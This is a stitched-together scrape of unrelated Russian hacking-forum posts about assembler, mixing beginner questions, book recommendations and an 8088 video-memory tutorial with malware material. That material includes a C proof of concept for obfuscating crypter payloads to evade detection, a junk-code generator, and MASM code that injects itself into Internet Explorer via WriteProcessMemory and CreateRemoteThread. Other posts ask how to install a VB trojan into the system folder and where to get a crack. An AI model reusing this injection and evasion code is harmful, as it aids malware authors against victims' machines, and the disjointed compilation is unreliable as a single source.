Я тут подумал, что неплохобылоб изучать асму. И захотелось посмотреть какойнить простой пример. Как на ассемблере нерисовать мессаджбокс (только не через winapi)?
Попутно вопрос: может кто поделится личным опытом. С чего начать изучение, какой компилятор/линкер выбрать и т.п. Вобщем все по теме Асм для зелёных.
Зашол на wasm.ru и ненашол там никаких статей для новичков. Может плохо искал?
[mod] Great: Тут задаем все вопросы по асму. Другие топики аналогичного содержания будут удаляться[/mod]
Для веба выбираю между пхп + хтмл + ксс + жкьюри (все это во фреймворке
бутстрап 4.3.1) и просто пхп + хтмл + ксс (без фреймворков) для небольших
минималистичных проектов с полной прозрачностью (бекдоры в скриптах на сайте
никому не нужны).
Для софта выбираю между си или асмом. Последнее особенно интересует из-за
уникальности и олдскульности.
Первое нужно для крупных коммерческих проектов с серьезным бюджетом, трафиком
и небольших проектов "для своих", где важно полное доверие к сайту, сервису.
Второе нужно для ядр ос, автоматизации, защитных и изоляционных программ. То
есть, работа будет на максимально низком - "железном" уровне.
Встречал инфу о поднятии сайтов на сиплюсах, пайтоне, чистом жкьюри, как они это организовывают? И есть ли в таком смысл?
Как вам всем известно - существует русский перевод классического FASM manual-а, выполненный Paranoik-ом. Но, по причине того, что сверстан этот перевод был в виде двух txt файлов - читать, а уж тем более печатать эти документы было адски сложно, а результат был абсолютно непрезентабельным.
Маясь от скуки во время жуткой жары, когда программировать организм отказывался и работали лишь простейшие двигательные рефлексы, я решил исправить ситуацию.
Текст из обоих файлов был загружен в TexMaker, далее была выполнена полная разметка LaTeX (абзацы, исходники, таблицы) и получен pdf файл, прикрепленный к данному сообщению. Также были исправлены все найденные опечатки.
Прошу в этой теме сообщать о всех неточностях и косяках - изменения воспоследуют.
Нет опыта в программировании, думаю что выбрать для начала карьеры в IT. JavaScript (Node.JS) или Go-Lang.
Существует огромное количество книг (а также статей, видеокурсов и подобного) по основам программирования. Огромное, потому что гораздо легче написать материал вида "пишем хелловорлд", чем что-то специфическое , да и спрос на литературу для новичков гораздо выше. Среди всего этого добра мне попались книги одного автора, который начинает не из популярных яваскриптов и питонов, а из самых "низов" - изучения устройства операционной системы, ассемблера, Си, основы сетей. В общем, вот эти книги
_http://www.stolyarov.info/books/programming_intro , там 3 файла в формате PDF
Автор довольно таки специфический человек (о его личности можно почитать в коментах на сайте или на том же ЛОРе), к примеру он ненавидит яваскрипт, негативно относится к стандартам Си/С++ (после 98 года), но все же, книги хорошие, и заслуживают внимания.
мне в руки попал очень иинтерресный шабллон на зеннопостер ,и так как у меня
никогда не было лицензии,а купить
чтобы потестить один шаблон както ...
Где можно заполучить кряк?быть может кто-то когда купил это чудо и оно теперь
занимает место на жеском)
я готов его забрать и отправить вам на пиво\мороженое что пожилаете)
Junk Code Generator
[CLIKE]
Code:Copy to clipboard
;START OF CONFIG
$target = 1000 ;number of lines
$file = "junk.txt" ;file to store in
$numlines = 10 ;number of temporary lines, 10 works p good
;END OF CONFIG
FileDelete($file) ;just in case it exists already, we don't want to waste our time!
Dim $lines[$numlines + 1] ;first we create the array
$lines[0] = $numlines ;this isn't really needed but i love my arrays like that.
_dimlines($numlines) ;dim the temporary lines for the first time
FileWrite($file, "") ;create the file
$i = 0 ;set an int to count our loop / the lines created
$stept = Random(20,30,1) ;after this the lines will get redimed in order to leave no pattern
Do ;start of a do loop
If $i = $stept Then ;With this we count to the next redim
$stept = $stept + Random($i + 20, $i + 30,1) ;and if it happens we set a new point for it (p random to leave no pattern again)
_dimlines($numlines) ;and redim all lines
EndIf ;End of that part!
$i = $i + 1 ;line count variable + 1
$rand = Random(1,10,1) ; create a random number
FileWriteLine($file, $lines[$rand]) ;and write one of the the temp lines to the file
$per = $i / $target * 100 ;calculate the %
ToolTip($i & "/" & $target & " lines created - That's " & $per & "%");and display a nice message for the user
Until $i = $target ;we do that until we reached the number of lines we want
Func _dimlines($dtarget) ;this is the func to dim/redim the the lines
$d = 1 ;a new int for the loop below
Do ;a do loop again :o
$lines[$d] = "$" & Random(50000,150000,1) & ' = "' & Random(50000,150000,1) & '"' ;That is how a line gets generate only 2 random numbers + the operators
$d = $d + 1 ;$d++
Until $d = $dtarget ;the loop does it for any temp line
EndFunc ;end of the func
[/CLIKE]
Spoiler: 100
У крипторов и всякой разной малвары часто стоят задачи обфускации строк, хеш-
таблиц для поиска API, выплёвывания EXE, шеллкода или генерация ключа
шифрования.
Самый примитивный вариант это иметь зашифрованные данные в секции данных или
ресурсах, ключ шифрования и код для расшифровки этого дела. Но нехорошо
получается, когда например закриптованный файл состоит из небольшой секции
кода, которая является расшифровщиком, и здоровой секции данных, которая
содержит трой.
А если генерировать данные программно, т.е. алгоритмически, то можно обойтись
вообще без секции данных. Либо частично генерировать данные программно, чтобы
сократить размер секции данных и привести соотношение размеров секций
кода/данных к нормальному.
В общем случае все эти задачи сводятся к генерации чисел, т.к. любые данные и
код можно представить в виде набора байт.
Раньше я делал это так: предварительно "шифруем" исходные данные путём
вычисления некой обратимой функции типа тангенс от каждого байта исходных
данных. Потом рабочий код вычисляет обратную функцию арктангенс от
"зашифрованных" байт, при чем вызывая не какие-то математические библиотечные
функции, а делает это с помощью циклического подсчёта значения разложения
функции арктангенс в ряд Тейлора.
В этом способе мне не нравится недостаточная запутанность и данные хоть и не
увеличивают секцию данных, но фактически в явном виде содержатся в командах
типа mov eax, 12345h, что весьма некошерно как по мне.
Поэтому я разработал генератор чисел без использования данных вообще. По сути
на вход только надо подать любое заранее известное число, например значение
возвращаемое какой-нибудь антиэмуляционной API-функцией.
Суть алгоритма: работать будем с 1-байтовыми значениями, генерировать будем
формулы. Формула это дерево, вершина которого может быть 3 видов: унарная
операция, бинарная операция, операнд. Далее формула-дерево транслируется в
С-код.
Задача состоит в том, чтобы сгененировать формулу которая преобразует заданное
число X в Y. Таким образом код генерации любого массива будет состоять из
последовательных преобразований X -> Y1 -> Y2 -> Y3 -> Y4 ...
Случайное дерево-формула генерируется функцией struct tree*
create_random_tree( unsigned int depth )
значение формулы подсчитывается функцией unsigned char count_tree( struct
tree* t, unsigned char operand_value )
дерево-формула транслируется в C-код функцией char* tree_to_string( struct
tree* t, char* operand )
функция struct tree* generate_tree( unsigned char x, unsigned char y )
генерирует случайные деревья-формулы, пока при подстановке X в качестве
значения операнда не получится Y.
Proof-of-concept:
Code:Copy to clipboard
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define TREE_NODE_OPERAND 0
#define TREE_NODE_UNARY 1
#define TREE_NODE_BINARY 2
#define TREE_MAX_DEPTH 8
struct tree
{
char type, opcode;
struct tree *child_left, *child_right;
};
unsigned char *unary_array;
unsigned char *binary_array;
unsigned char calculate_unary( unsigned char a, unsigned char opcode )
{
switch ( opcode )
{
case 0x00: return (unsigned char) ( a );
case 0x01: return (unsigned char) ( ~( (unsigned char)a ) );
case 0x02: return (unsigned char) ( (unsigned char)a + 1);
case 0x03: return (unsigned char) ( (unsigned char)a - 1);
case 0x04: return (unsigned char) ( (unsigned char)a >> 1 );
case 0x05: return (unsigned char) ( (unsigned char)a >> 2 );
case 0x06: return (unsigned char) ( (unsigned char)a >> 3 );
case 0x07: return (unsigned char) ( (unsigned char)a >> 4 );
case 0x08: return (unsigned char) ( (unsigned char)a << 1 );
case 0x09: return (unsigned char) ( (unsigned char)a << 2 );
case 0x0A: return (unsigned char) ( (unsigned char)a << 3 );
case 0x0B: return (unsigned char) ( (unsigned char)a << 4 );
}
}
char* unary_to_string( char *operand, char opcode )
{
char* result = malloc( strlen( operand ) + 128 );
switch ( opcode )
{
case 0x00: sprintf( result, "(unsigned char)( %s )", operand ); break;
case 0x01: sprintf( result, "(unsigned char)( ~( (unsigned char)%s ) )", operand ); break;
case 0x02: sprintf( result, "(unsigned char)( (unsigned char)%s + 1 )", operand ); break;
case 0x03: sprintf( result, "(unsigned char)( (unsigned char)%s - 1 )", operand ); break;
case 0x04: sprintf( result, "(unsigned char)( (unsigned char)%s >> 1 )", operand ); break;
case 0x05: sprintf( result, "(unsigned char)( (unsigned char)%s >> 2 )", operand ); break;
case 0x06: sprintf( result, "(unsigned char)( (unsigned char)%s >> 3 )", operand ); break;
case 0x07: sprintf( result, "(unsigned char)( (unsigned char)%s >> 4 )", operand ); break;
case 0x08: sprintf( result, "(unsigned char)( (unsigned char)%s << 1 )", operand ); break;
case 0x09: sprintf( result, "(unsigned char)( (unsigned char)%s << 2 )", operand ); break;
case 0x0A: sprintf( result, "(unsigned char)( (unsigned char)%s << 3 )", operand ); break;
case 0x0B: sprintf( result, "(unsigned char)( (unsigned char)%s << 4 )", operand ); break;
}
return result;
}
unsigned char calculate_binary( unsigned char a, unsigned char b, unsigned char opcode )
{
switch ( opcode )
{
case 0x00: return (unsigned char)( (unsigned char) a & (unsigned char) b );
case 0x01: return (unsigned char)( (unsigned char) a ^ (unsigned char) b );
case 0x02: return (unsigned char)( (unsigned char) a | (unsigned char) b );
case 0x03: return (unsigned char)( (unsigned char) a + (unsigned char) b );
case 0x04: return (unsigned char)( (unsigned char) a - (unsigned char) b );
case 0x05: return (unsigned char)( (unsigned char) a * (unsigned char) b );
}
}
char* binary_to_string( char *operand_left, char *operand_right, char opcode )
{
char* result = malloc( strlen( operand_left ) + strlen( operand_right ) + 128 );
switch ( opcode )
{
case 0x00: sprintf( result, "( %s & %s )", operand_left, operand_right ); break;
case 0x01: sprintf( result, "( %s ^ %s )", operand_left, operand_right ); break;
case 0x02: sprintf( result, "( %s | %s )", operand_left, operand_right ); break;
case 0x03: sprintf( result, "( %s + %s )", operand_left, operand_right ); break;
case 0x04: sprintf( result, "( %s - %s )", operand_left, operand_right ); break;
case 0x05: sprintf( result, "( %s * %s )", operand_left, operand_right ); break;
}
return result;
}
void precalculate_unary_array( )
{
int a, opcode;
int sz = ( 0xFF + 1 ) * ( 0x0B + 1 );
unary_array = ( unsigned char * ) malloc( sz );
for ( a = 0x00; a <= 0xFF; a++ )
for ( opcode = 0x00; opcode <= 0x0B; opcode++ )
unary_array[ a * ( 0x0B + 1 ) + opcode ] = calculate_unary( (unsigned char) a, (unsigned char) opcode );
}
void precalculate_binary_array( )
{
int a, b, opcode;
int sz = ( 0xFF + 1) * ( 0xFF + 1 ) * ( 0x05 + 1);
binary_array = ( unsigned char * ) malloc( sz );
for ( a = 0x00; a <= 0xFF; a++ )
for ( b = 0x00; b <= 0xFF; b++ )
for ( opcode = 0x00; opcode <= 0x05; opcode++ )
binary_array[ a * ( 0xFF + 1 ) * ( 0x05 + 1 ) + b * ( 0x05 + 1 ) + opcode ] = calculate_binary( (unsigned char) a, (unsigned char) b, (unsigned char) opcode );
}
struct tree* create_random_tree( unsigned int depth )
{
struct tree* result;
result = (struct tree*) malloc( sizeof( struct tree ) );
if ( depth <= 1 )
{
result->type = TREE_NODE_OPERAND;
result->child_left = NULL;
result->child_right = NULL;
}
else
{
result->type = rand( ) % 3;
if ( result->type == TREE_NODE_UNARY )
{
result->opcode = rand( ) % ( 0x0B + 1 );
result->child_left = create_random_tree( depth - 1 );
result->child_right = NULL;
}
else if ( result->type == TREE_NODE_BINARY )
{
result->opcode = rand( ) % ( 0x05 + 1 );
result->child_left = create_random_tree( depth - 1 );
result->child_right = create_random_tree( depth - 1 );
}
else
{
result->child_left = NULL;
result->child_right = NULL;
}
}
return result;
}
void delete_tree( struct tree* t )
{
if ( t != NULL )
{
if ( t->child_left != NULL )
delete_tree( t->child_left );
if ( t->child_right != NULL )
delete_tree( t->child_right );
free( t );
}
}
unsigned char count_tree( struct tree* t, unsigned char operand_value )
{
switch ( t->type )
{
case TREE_NODE_OPERAND: return operand_value;
case TREE_NODE_UNARY: return unary_array[ count_tree( t->child_left, operand_value ) * ( 0x0B + 1 ) + t->opcode ];
case TREE_NODE_BINARY: return binary_array[ count_tree( t->child_left, operand_value ) * ( 0xFF + 1 ) * ( 0x05 + 1 ) + count_tree( t->child_right, operand_value ) * ( 0x05 + 1 ) + t->opcode ];
}
}
char* tree_to_string( struct tree* t, char* operand )
{
switch ( t->type )
{
case TREE_NODE_OPERAND: return operand;
case TREE_NODE_UNARY: return unary_to_string( tree_to_string( t->child_left, operand ), t->opcode );
case TREE_NODE_BINARY: return binary_to_string( tree_to_string( t->child_left, operand ), tree_to_string( t->child_right, operand ), t->opcode );
}
}
struct tree* generate_tree( unsigned char x, unsigned char y )
{
struct tree* t;
do
{
if ( t != NULL )
delete_tree( t );
t = create_random_tree( TREE_MAX_DEPTH );
}
while ( count_tree( t, x ) != y );
return t;
}
void main()
{
struct tree* t;
unsigned char x, y;
char *st;
FILE *f;
int i;
f = fopen( "/tmp/test.c", "w" );
fprintf( f, "#include <stdio.h>\nvoid main(){\n unsigned char x, y, c;\n" );
srand ( time(NULL) );
precalculate_unary_array( );
precalculate_binary_array( );
for ( i = 0; i < 10; i++ )
{
x = rand( ) % 256;
t = create_random_tree( 3 + rand( ) % 5 );
st = tree_to_string( t, "x" );
y = count_tree( t, x );
delete_tree( t );
printf( "x = %i, y = %i\n%s\n", x, y, st );
fprintf( f, " x = %i;\n", x );
fprintf( f, " y = %i;\n", y );
fprintf( f, " c = %s;\n", st );
fprintf( f, " if ( c != y ) " );
fprintf( f, " printf( \"x = %%i, y = %%i, c = %%i\\t%s\\n\", x, y, c );\n", st );
}
fprintf( f, "}\n" );
fclose( f );
}
Добавлено в [time]1359148931[/time]
Spoiler: 100
пример генерируемых формул:
( ( ( ( ( ( (unsigned char)( ~( (unsigned char)x ) ) + x ) & (unsigned char)( (unsigned char)(unsigned char)( (unsigned char)x << 1 ) >> 3 ) ) | x ) & (unsigned char)( (unsigned char)(unsigned char)( (unsigned char)( (unsigned char)( (unsigned char)x - 1 ) + (unsigned char)( (unsigned char)x >> 1 ) ) >> 1 ) >> 1 ) ) - (unsigned char)( (unsigned char)( ( (unsigned char)( (unsigned char)(unsigned char)( (unsigned char)x >> 4 ) << 4 ) ^ ( ( x - x ) & (unsigned char)( (unsigned char)x + 1 ) ) ) ^ x ) >> 4 ) ) | x )
x = 8, y = 10, count_tree = 10
(unsigned char)( (unsigned char)(unsigned char)( (unsigned char)( x + x ) << 3
) >> 2 )
x = 235, y = 44, count_tree = 44
( x + ( x | (unsigned char)( (unsigned char)(unsigned char)( (unsigned char)(unsigned char)( ~( (unsigned char)x ) ) << 2 ) >> 4 ) ) )
x = 41, y = 86, count_tree = 86
Spoiler: 3 у вас 43
вот что выходит в ассемблерном виде (синтаксис gas):
Code:Copy to clipboard
.file "test.c"
.section .rodata
.LC0:
.string "x = %i, y = %i, c = %i\tx\n"
.align 8
.LC1:
.string "x = %i, y = %i, c = %i\t(unsigned char)( (unsigned char)( x | x ) << 3 )\n"
.align 8
.LC2:
.string "x = %i, y = %i, c = %i\t( ( ( x | x ) & ( x + x ) ) - ( x + ( x & x ) ) )\n"
.align 8
.LC3:
.string "x = %i, y = %i, c = %i\t( (unsigned char)( (unsigned char)( x + ( ( (unsigned char)( (unsigned char)x << 4 ) * (unsigned char)( (unsigned char)x << 3 ) ) * (unsigned char)( (unsigned char)( x | x ) << 1 ) ) ) << 4 ) | x )\n"
.align 8
.LC4:
.string "x = %i, y = %i, c = %i\t( x + ( (unsigned char)( (unsigned char)(unsigned char)( (unsigned char)x << 2 ) >> 3 ) ^ ( x - (unsigned char)( ~( (unsigned char)x ) ) ) ) )\n"
.align 8
.LC5:
.string "x = %i, y = %i, c = %i\t(unsigned char)( (unsigned char)x << 2 )\n"
.align 8
.LC6:
.string "x = %i, y = %i, c = %i\t( (unsigned char)( (unsigned char)x >> 4 ) ^ x )\n"
.align 8
.LC7:
.string "x = %i, y = %i, c = %i\t(unsigned char)( (unsigned char)(unsigned char)( (unsigned char)x >> 1 ) << 3 )\n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
subq $32, %rsp
movb $115, -3(%rbp)
movb $115, -2(%rbp)
movzbl -3(%rbp), %eax
movb %al, -1(%rbp)
movzbl -1(%rbp), %eax
cmpb -2(%rbp), %al
je .L2
movzbl -1(%rbp), %ecx
movzbl -2(%rbp), %edx
movzbl -3(%rbp), %eax
movl %eax, %esi
movl $.LC0, %edi
movl $0, %eax
call printf
.L2:
movb $-71, -3(%rbp)
movb $-56, -2(%rbp)
movzbl -3(%rbp), %eax
sall $3, %eax
movb %al, -1(%rbp)
movzbl -1(%rbp), %eax
cmpb -2(%rbp), %al
je .L3
movzbl -1(%rbp), %ecx
movzbl -2(%rbp), %edx
movzbl -3(%rbp), %eax
movl %eax, %esi
movl $.LC1, %edi
movl $0, %eax
call printf
.L3:
movb $111, -3(%rbp)
movb $111, -2(%rbp)
movzbl -3(%rbp), %eax
movb %al, -1(%rbp)
movzbl -1(%rbp), %eax
cmpb -2(%rbp), %al
je .L4
movzbl -1(%rbp), %ecx
movzbl -2(%rbp), %edx
movzbl -3(%rbp), %eax
movl %eax, %esi
movl $.LC0, %edi
movl $0, %eax
call printf
.L4:
movb $82, -3(%rbp)
movb $92, -2(%rbp)
movzbl -3(%rbp), %eax
addl %eax, %eax
movl %eax, %edx
movzbl -3(%rbp), %eax
andl %edx, %eax
movl %eax, %edx
movzbl -3(%rbp), %eax
addl %eax, %eax
movl %edx, %ecx
subl %eax, %ecx
movl %ecx, %eax
movb %al, -1(%rbp)
movzbl -1(%rbp), %eax
cmpb -2(%rbp), %al
je .L5
movzbl -1(%rbp), %ecx
movzbl -2(%rbp), %edx
movzbl -3(%rbp), %eax
movl %eax, %esi
movl $.LC2, %edi
movl $0, %eax
call printf
.L5:
movb $-43, -3(%rbp)
movb $-43, -2(%rbp)
movzbl -3(%rbp), %eax
movl %eax, %ecx
sall $4, %ecx
movzbl -3(%rbp), %eax
leal 0(,%rax,8), %edx
movl %ecx, %eax
imull %edx, %eax
movb %al, -17(%rbp)
movzbl -3(%rbp), %edx
addl %edx, %edx
movzbl -17(%rbp), %eax
imull %edx, %eax
movl %eax, %edx
movzbl -3(%rbp), %eax
addl %edx, %eax
sall $4, %eax
orb -3(%rbp), %al
movb %al, -1(%rbp)
movzbl -1(%rbp), %eax
cmpb -2(%rbp), %al
je .L6
movzbl -1(%rbp), %ecx
movzbl -2(%rbp), %edx
movzbl -3(%rbp), %eax
movl %eax, %esi
movl $.LC3, %edi
movl $0, %eax
call printf
.L6:
movb $48, -3(%rbp)
movb $-87, -2(%rbp)
movzbl -3(%rbp), %eax
sall $2, %eax
shrb $3, %al
movl %eax, %edx
movzbl -3(%rbp), %eax
addl %eax, %eax
addl $1, %eax
xorl %edx, %eax
movl %eax, %edx
movzbl -3(%rbp), %eax
addl %edx, %eax
movb %al, -1(%rbp)
movzbl -1(%rbp), %eax
cmpb -2(%rbp), %al
je .L7
movzbl -1(%rbp), %ecx
movzbl -2(%rbp), %edx
movzbl -3(%rbp), %eax
movl %eax, %esi
movl $.LC4, %edi
movl $0, %eax
call printf
.L7:
movb $-4, -3(%rbp)
movb $-16, -2(%rbp)
movzbl -3(%rbp), %eax
sall $2, %eax
movb %al, -1(%rbp)
movzbl -1(%rbp), %eax
cmpb -2(%rbp), %al
je .L8
movzbl -1(%rbp), %ecx
movzbl -2(%rbp), %edx
movzbl -3(%rbp), %eax
movl %eax, %esi
movl $.LC5, %edi
movl $0, %eax
call printf
.L8:
movb $35, -3(%rbp)
movb $33, -2(%rbp)
movzbl -3(%rbp), %eax
shrb $4, %al
xorb -3(%rbp), %al
movb %al, -1(%rbp)
movzbl -1(%rbp), %eax
cmpb -2(%rbp), %al
je .L9
movzbl -1(%rbp), %ecx
movzbl -2(%rbp), %edx
movzbl -3(%rbp), %eax
movl %eax, %esi
movl $.LC6, %edi
movl $0, %eax
call printf
.L9:
movb $83, -3(%rbp)
movb $83, -2(%rbp)
movzbl -3(%rbp), %eax
movb %al, -1(%rbp)
movzbl -1(%rbp), %eax
cmpb -2(%rbp), %al
je .L10
movzbl -1(%rbp), %ecx
movzbl -2(%rbp), %edx
movzbl -3(%rbp), %eax
movl %eax, %esi
movl $.LC0, %edi
movl $0, %eax
call printf
.L10:
movb $-42, -3(%rbp)
movb $88, -2(%rbp)
movzbl -3(%rbp), %eax
shrb %al
sall $3, %eax
movb %al, -1(%rbp)
movzbl -1(%rbp), %eax
cmpb -2(%rbp), %al
je .L1
movzbl -1(%rbp), %ecx
movzbl -2(%rbp), %edx
movzbl -3(%rbp), %eax
movl %eax, %esi
movl $.LC7, %edi
movl $0, %eax
call printf
.L1:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu/Linaro 4.7.2-2ubuntu1) 4.7.2"
.section .note.GNU-stack,"",@progbits
Сабж, требуется распаковать пару лямов архивов, чтобы каждый архив
распаковался в папку с именем архива и затем исходный архив удалялся
если папка с таким именем уже существует и в ней уже есть файлы, то должна
выполнятся перезапись
за решение накину 50$ на пиво
Добрый день друзья!
Один мой опытный и очень хороший товарищ пару лет назад сказал, что если
необходимо получить качествунную многопоточность, то лучше и надежнее луа я
ничего не найду.
Сейчас возникла необходимость поднять некий сервис который в 50 потоков/сек
будет опрашивать некий API.
Нужно отслеживать потоки и делать их максимально отказоустойчивыми. Вот и
вспомнился данный разговор. Сижу и думаю, то ли на GO делать то ли на LUA
смотреть.
Что бы вы посоветовали из своего опыта?
Думаю некоторые давно ждали выпуск. Помнится кому то даже предлагали ее
перевести
https://www.sendspace.com/file/b0azpp
Code:Copy to clipboard
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\masm32.inc
includelib \masm32\lib\masm32.lib
GetPid PROTO :DWORD
injected_thread PROTO
CTEXT MACRO y:VARARG
LOCAL sym, dummy
dummy EQU $;; MASM error fix
CONST segment
IFIDNI <y>,<>
sym db 0
ELSE
sym db y,0
ENDIF
CONST ends
EXITM <OFFSET sym>
ENDM
.data?
Buffer db 256 dup(?)
ThePID dd ?
lpProcess dd ?
lpModule dd ?
lpNewModule dd ?
dwSize dd ?
lpPID dd ?
nBytesWritten dd ?
.code
start:
invoke GetModuleHandle,0
mov [lpModule], eax
mov edi,eax
add edi,[edi+3Ch]
add edi,4
add edi,14h
mov eax,[edi+38h]
mov [dwSize],eax
;next thing to do is to get the Process ID (PID)
;we can do this 2 ways either CreateToolhelp32Snapshot
;Invoke GetPid,CTEXT ('iexplore.exe')
;or...
invoke FindWindow,CTEXT ('IEFrame'),0 ;find iexplorer.exe window class
invoke GetWindowThreadProcessId, eax, addr ThePID ;get the PID :)
invoke OpenProcess,PROCESS_ALL_ACCESS, FALSE, ThePID;open the process
mov [lpProcess],eax
invoke VirtualFreeEx, [lpProcess], [lpModule], 0, MEM_RELEASE
invoke VirtualAllocEx, [lpProcess], [lpModule], dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
invoke WriteProcessMemory, [lpProcess], eax, [lpModule], [dwSize], addr nBytesWritten
invoke CreateRemoteThread, [lpProcess], 0, 0, offset injected_thread, [lpModule], 0, ebx
invoke ExitProcess,0
injected_thread proc
invoke LoadLibrary,CTEXT ('user32.dll')
invoke MessageBox,0,CTEXT ('Success!!!'),CTEXT ('Hello From iexplorer'),0
invoke ExitThread,0
ret
injected_thread endp
GetPid proc szFile:dword
LOCAL Process:PROCESSENTRY32
mov Process.dwSize, sizeof Process
invoke CreateToolhelp32Snapshot, 2, 0
mov esi, eax
invoke Process32First, esi, addr Process
@@loop:
invoke lstrcmpiA,szFile, addr Process.szExeFile
test eax, eax
jnz @@continue
;if we are here then we got the pid (Process.th32ProcessID}
push Process.th32ProcessID
pop ThePID
jmp @@done
@@continue:
invoke Process32Next, esi, addr Process
test eax, eax
jz @@done
jmp @@loop
@@done:
invoke CloseHandle, esi
ret
GetPid endp
end start
Ребятки, назрела необходимость накрапать кой чего на флеше, может кто
посоветует толковую книжку (желательно со ссылкой) так чтобы действительно
стоящую а не для блондинок.
А еще сразу бы комплект необходимого софта для писанины (ессно не триального),
потому что просто нет времени колупаться на варезниках и торентах.
Буду очень благодарен.
Здраствуйте люди! Вы не могли бы мне пдсказать где можно скмчать Microsoft Visual Studio. NET, а то читаю литературку по визуал базик(я в этом деле новичок, но хочу научиться) и там написано: "Нажмите пуск...... и выберете Microsoft Visual Studio. NET, я посморел но ниче не нашел или я плохо смотрел и она идет в поставке вместе с операционкой?
Я пишу трояна на VB, мне что бы он копировался в папку с виндой и там оставался, но как это сделать не зная букву диска на котором винда? Короче как узнать путь к системной директории и как сделать что бы он туда копироволся??? Помогите!
В этой статье я познакомлю тебя с сегментной адресацией и сегментными регистрами, расскажу, как распределяется первый мегабайт оперативной памяти компьютера, затем мы обсудим получение прямого доступа к видеопамяти в текстовом режиме, а самое главное — поностальгируем по фильму «Хакер»! Под конец напишем психоделическую программу, которой позавидовали бы его герои.
Знакомимся с сегментными регистрами
Для начала разберемся, что такое сегментные регистры. Процессор 8088 умеет адресовать один мегабайт оперативной памяти, несмотря на то что регистры у него 16-битные. В норме 16 битами можно адресовать только 64 Кбайт. И как же тогда выкручивается 8088? Как ему удается адресовать целый мегабайт? Для этого в 8088 есть сегментные регистры! Четыре сегментных регистра: CS, ES, DS и SS, по 16 бит каждый. У каждого из этих регистров есть свое назначение.
Регистр CS указывает на сегмент кода. Процессор обращается к CS всякий раз, когда надо считать из памяти очередную инструкцию для выполнения.
Регистры DS и ES указывают на сегмент данных. К этим регистрам процессор обращается, когда выполняемая инструкция считывает или сохраняет данные. Имей в виду: DS используется чаще, чем ES. ES обычно вступает в игру, когда ты обрабатываешь массивы данных, индексируя их регистром DI.
Регистр SS указывает на сегмент стека. К этому регистру процессор обращается, когда выполняет инструкции, взаимодействующие со стеком: push, pop, call и ret.
Значения, хранимые в сегментных регистрах, — это базовый адрес, поделенный на 16. Если в CS записано значение 0x0000, процессор будет считывать инструкции из области памяти 0x00000 — 0x0FFFF. Если в регистре CS записано значение 0x1000, то процессор будет считывать инструкции из области памяти 0x10000 — 0x1FFFF.
Если тебе надо адресоваться в какой-то другой сегмент, а не тот, который будет
задействован по умолчанию, напиши этот сегмент в префиксе к инструкции,
которую используешь.
Поместить какое-то число в сегментные регистры напрямую нельзя. Для этого
надо:
Процессор 8088 настолько лоялен, что позволит тебе даже вот такую инструкцию:
pop cs. Но только имей в виду, что это нарушит поток выполнения инструкций. В
более новых процессорах, начиная с 80286, такую диверсию сделать уже не
получится. И слава богу!
Ну вот вроде бы и все, что тебе надо знать о сегментных регистрах. Теперь ты с их помощью (в основном с помощью регистров DS и ES) можешь получать доступ ко всему первому мегабайту памяти ПК.
Как ПК распределяет память
Понимание того, как распределяется память в ПК, поможет тебе делать разные
интересные вещи.
Начало загрузки у всех компьютеров одинаковое: они сначала переходят в
текстовый цветной режим 80x25. К видеопамяти экрана, который работает в таком
режиме, можно обращаться напрямую, через вот этот диапазон адресов: 0xB8000 —
0xB8FFF.
Первый байт диапазона — это первый символ в верхнем левом углу экрана. Второй байт — это цвет фона под символом и цвет самого символа. Затем (третьим байтом) идет второй символ. И так для всех 25 строк по 80 символов каждая.
Исторический факт. IBM PC образца 1981 года поставлялся в двух модификациях: с монохромным режимом и с цветным режимом. Тогдашним разработчикам игрушек приходилось придумывать разные эвристики, чтобы понять, какая у компьютера графика: монохромная или цветная. Несколько старых добрых игрушек для этого писали какую-нибудь цифру по адресу 0xB8000 и считывали ее обратно — чтобы узнать, в каком режиме сейчас идет работа: в цветном или в монохромном.
Прямой доступ к видеопамяти в текстовом режиме
Перед тем как мы сможем напрямую обращаться к видеопамяти экрана, то есть без
использования сервисов BIOS, надо задать нужный нам видеорежим.
В этом режиме видеопамять экрана доступна по адресу 0xB8000. Теперь ты можешь
легко получить доступ к ней. Примерно так, как в коде ниже.
Обрати внимание, что после того, как ты выполнил этот кусок кода, ты не
сможешь обращаться к переменным, которые сохраняешь в сегменте кода, как мы
это делали в примерах из прошлых уроков. Потому что DS и ES теперь нацелены не
на сегмент кода, а на видеопамять.
Как же быть? Как вариант, можно перед тем, как нацеливать DS и ES на
видеопамять, сохранить их значение на стеке. Потом нацелиться на видеопамять и
вывести нужные данные на экран. А после этого снять со стека сохраненный
указатель и снова поместить его в DS и ES.
Видеопамять, которая отображается на экран, организована вот таким вот
образом.
Здесь на каждый символ отведено по два байта. Первый байт — это ASCII-код
буквы. А второй — цвет фона и символа.
Кодировка цветов следующая.
А теперь давай посмотрим все это на живом примере. Напиши и выполни вот такой
код.
Мы здесь задействовали парочку новых инструкций: cld и stosw. Инструкция cld очищает флаг направления. Зачем нужен этот флаг? Некоторые продвинутые инструкции (многошаговые) используют его, чтобы понять, что нужно делать с регистрами SI и DI после очередного шага выполнения: увеличивать их или уменьшать.
Инструкция stosw записывает значение регистра AX по адресу ESI и увеличивает регистр DI на два (размер слова — сдвоенного байта). Обрати внимание: если флаг направления установлен в единицу (это можно сделать инструкцией sed), то та же самая инструкция будет не увеличивать DI, а уменьшать. Тоже на два. Поэтому мы сначала используем cld, поскольку не знаем, какое на данный момент значение у флага направления.
Всякий раз, когда мы загружаем AX, у нас AL содержит саму букву, которую надо нарисовать на экране, а AH — цвет символа и цвет его фона (в данном случае синий фон и разные цвета для каждой буквы).
Когда мы пишем слово (сдвоенный байт) в память, младший байт всегда пишется первым (в данном случае значение регистра AL), а старший байт идет следом (в данном случае значение регистра AH).
Таким образом, после того как весь наш текст записан в видеопамять, память
будет заполнена вот так.
Теперь ты умеешь рисовать на экране цветные буквы. При желании можешь поэкспериментировать с символами псевдографики, которые доступны в BIOS.
